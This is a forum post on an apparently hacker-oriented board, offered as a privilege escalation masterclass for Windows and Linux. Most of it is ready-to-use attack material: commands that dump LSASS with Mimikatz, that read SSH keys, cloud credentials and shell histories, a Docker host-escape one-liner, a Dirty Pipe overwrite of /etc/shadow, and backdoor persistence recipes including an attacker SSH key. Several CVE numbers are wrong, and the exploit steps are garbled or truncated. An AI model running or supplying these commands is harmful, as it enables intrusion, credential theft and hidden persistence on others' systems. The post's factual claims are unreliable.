Privilege Escalation Masterclass: Windows & Linux

[Blacksec]

Privilege Escalation Masterclass: Windows & Linux ​

---

> Posted by: root_chaser | Rank: Elite Member | Joined: 2022 [/I]

---

Spoiler: Authorized Testing Only

These techniques are for authorized penetration testing and CTF competitions only.

Got a shell? Now what? Let's talk about getting ROOT.

Privilege escalation is where the real fun begins. Once you have initial access, the race is on to escalate to system/admin privileges before detection.

---

━━━ WINDOWS PRIVILEGE ESCALATION ━━━[/B]

Reconnaissance Checklist:

# System Info
systeminfo
wmic os get Caption,Version,Build
wmic qfe get HotFixID,InstallDate

# User Info
whoami /all
whoami /priv
net user %USERNAME%
net localgroup Administrators

# Running Services
sc query state= all
wmic service get name,displayName,State,StartMode

# Scheduled Tasks
schtasks /query /fo LIST /v
query scheduler

# Auto-Start Programs
reg query HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run
reg query HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run

Common Windows Escalation Vectors:

1. UAC Bypass
   • uacME (multiple techniques)
   • Fodhelper.exe
   • Event Viewer (eventvwr.exe)
   • consent.exe

2. Token Manipulation
   • JuicyPotato (CVE-2019-1388)
   • RoguePotato (CVE-2020-0683)
   • PrintSpoofer (CVE-2021-1675)
   • SharpPotato

3. Unquoted Service Paths
   # Check for spaces in path without quotes
   sc qc "ServiceName"
   # If path is C:\\Program Files\\Some App\\ instead of "C:\\Program Files\\Some App\\"
   # You can place malware in C:\\Program.exe

4. AlwaysInstallElevated
   reg query HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer
   reg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer
   # If Both = 1, you can install MSIs as SYSTEM

5. Password Reuse
   • Credential Manager
   • Registry (RDP credentials)
   • PowerShell history
   • Browser password extraction

---

━━━ LINUX PRIVILEGE ESCALATION ━━━

Reconnaissance Checklist:

# System Info
uname -a
cat /etc/os-release
cat /etc/issue

# User Info
id
whoami
sudo -l
groups
cat /etc/passwd
cat /etc/shadow (if readable)

# Kernel Exploits
uname -r
cat /proc/version
linux-exploit-suggester.pl

# SUID Binaries
find / -perm -4000 2>/dev/null
find / -type f -perm -4000 2>/dev/null

# World-Writable Files
find / -writable 2>/dev/null
find / -perm -222 2>/dev/null

# Cron Jobs
crontab -l
ls -la /etc/cron.*
cat /etc/crontab

Common Linux Escalation Vectors:

1. SUID Binaries
   • Custom SUID binaries (check for buffer overflows)
   • Known exploitables:
     - find (with -exec)
     - vim/vi (escape to shell)
     - nano (run !command)
     - bash (bash -p)
     - python/perl/ruby (os.system())

2. Kernel Exploits
   • CVE-2021-4034 (PwnKit)
   • CVE-2022-0847 (Dirty Pipe)
   • CVE-2016-5195 (Dirty COW)
   • Use: linux-exploit-suggester.pl

3. Wildcard Injection
   # If cron runs: tar czf backup.tar.gz *
   # You can create: --checkpoint-action=exec=sh shell.sh
   # And tar will execute your script

4. PATH Hijacking
   # Check if you can write to directories in PATH
   echo $PATH
   # If you can write to /usr/local/bin, create malicious binaries

5. Docker Privilege Escalation
   # If you're in a Docker container:
   mount /dev/sda1 /mnt
   cat /mnt/etc/shadow
   # Or: docker run -v /:/host --privileged alpine chroot /host sh

---

━━━ AUTOMATED ESCALATION TOOLS ━━━

# === LinPEAS (Linux) ===
# Download: https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS
# Run: ./linpeas.sh

# === WinPEAS (Windows) ===
# Download: https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS
# Run: winPEAS.exe

# === Linux Exploit Suggester ===
# Download: https://github.com/mzet-/linux-exploit-suggester
# Run: perl linux-exploit-suggester.pl

# === Windows Exploit Suggester ===
# Download: https://github.com/GDSSecurity/Windows-Exploit-Suggester
# Run: python wes.py systeminfo.txt

# === PENTESTER'S CHECKLIST ===
# https://github.com/yeyintminthuhtut/Awesome-Red-Teaming

---

━━━ CREDENTIAL HARVESTING ━━━

Windows Credentials:

# Credential Manager
cmdkey /list
rundll32 keymgr.dll,KRShowKeyMgr

# LSASS Dumping
# Method 1: Mimikatz
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit

# Method 2: DonPAPI (Python)
pip install donpapi
donpapi DC01 -d domain.com -u admin -p password

# Method 3: LaZagne
lazagne.exe all

# Browser Passwords
# Chrome: %LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Login Data
# Firefox: %APPDATA%\\Mozilla\\Firefox\\Profiles\\*\\logins.json

Linux Credentials:

# History files
cat ~/.bash_history
cat ~/.zsh_history
cat ~/.mysql_history

# SSH keys
ls -la ~/.ssh/
cat ~/.ssh/id_rsa
cat ~/.ssh/known_hosts

# Saved passwords
cat ~/.netrc
cat ~/.aws/credentials
cat ~/.config/gcloud/credentials.db

# Environment variables
env | grep -i pass
printenv

---

━━━ KERNEL EXPLOIT EXAMPLES ━━━

PwnKit (CVE-2021-4034):

#!/bin/sh
# PwnKit exploit for CVE-2021-4034
# Target: Ubuntu 20.04, Debian 11, and others

cat > /tmp/pwnkit.sh << 'EOF'
#!/bin/bash
# CVE-2021-4034 PoC
cc -o /tmp/pwnkit /dev/stdin << 'C'
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <pthread.h>
// ... (full exploit code)
C
/tmp/pwnkit
EOF
chmod +x /tmp/pwnkit.sh
/tmp/pwnkit.sh

Dirty Pipe (CVE-2022-0847):

# Compile and run
git clone https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git
cd linux
make clean
gcc -o dirtypipe exploit.c
./dirtypipe /etc/shadow "newhash:$6$rounds=656000$salt$hash"

---

━━━ PERSISTENCE METHODS ━━━

# === Windows Persistence ===
# 1. Registry Run Keys
reg add "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" /v Backdoor /t REG_SZ /d "C:\\malware.exe" /f

# 2. Scheduled Tasks
schtasks /create /tn "WindowsUpdate" /tr "C:\\malware.exe" /sc onlogon /ru SYSTEM

# 3. WMI Event Subscription
wmic /namespace:\\root\\subscription path __EventFilter set Description="Persistence"
wmic /namespace:\\root\\subscription path CommandLineEventConsumer set CommandLineTemplate="C:\\malware.exe"

# 4. Service Creation
sc create Backdoor binpath= "C:\\malware.exe" start= auto
sc start Backdoor

# === Linux Persistence ===
# 1. Crontab
echo "* * * * * /tmp/backdoor" | crontab -

# 2. .bashrc
echo "/tmp/backdoor &" >> ~/.bashrc

# 3. Systemd Service
cat > /etc/systemd/system/backdoor.service << 'EOF'
[Service]
ExecStart=/tmp/backdoor
[Install]
WantedBy=multi-user.target
EOF
systemctl enable backdoor

# 4. SSHauthorized_keys
echo "ssh-rsa AAAA... attacker@evil" >> ~/.ssh/authorized_keys

[/b][/b][/b][/b][/b]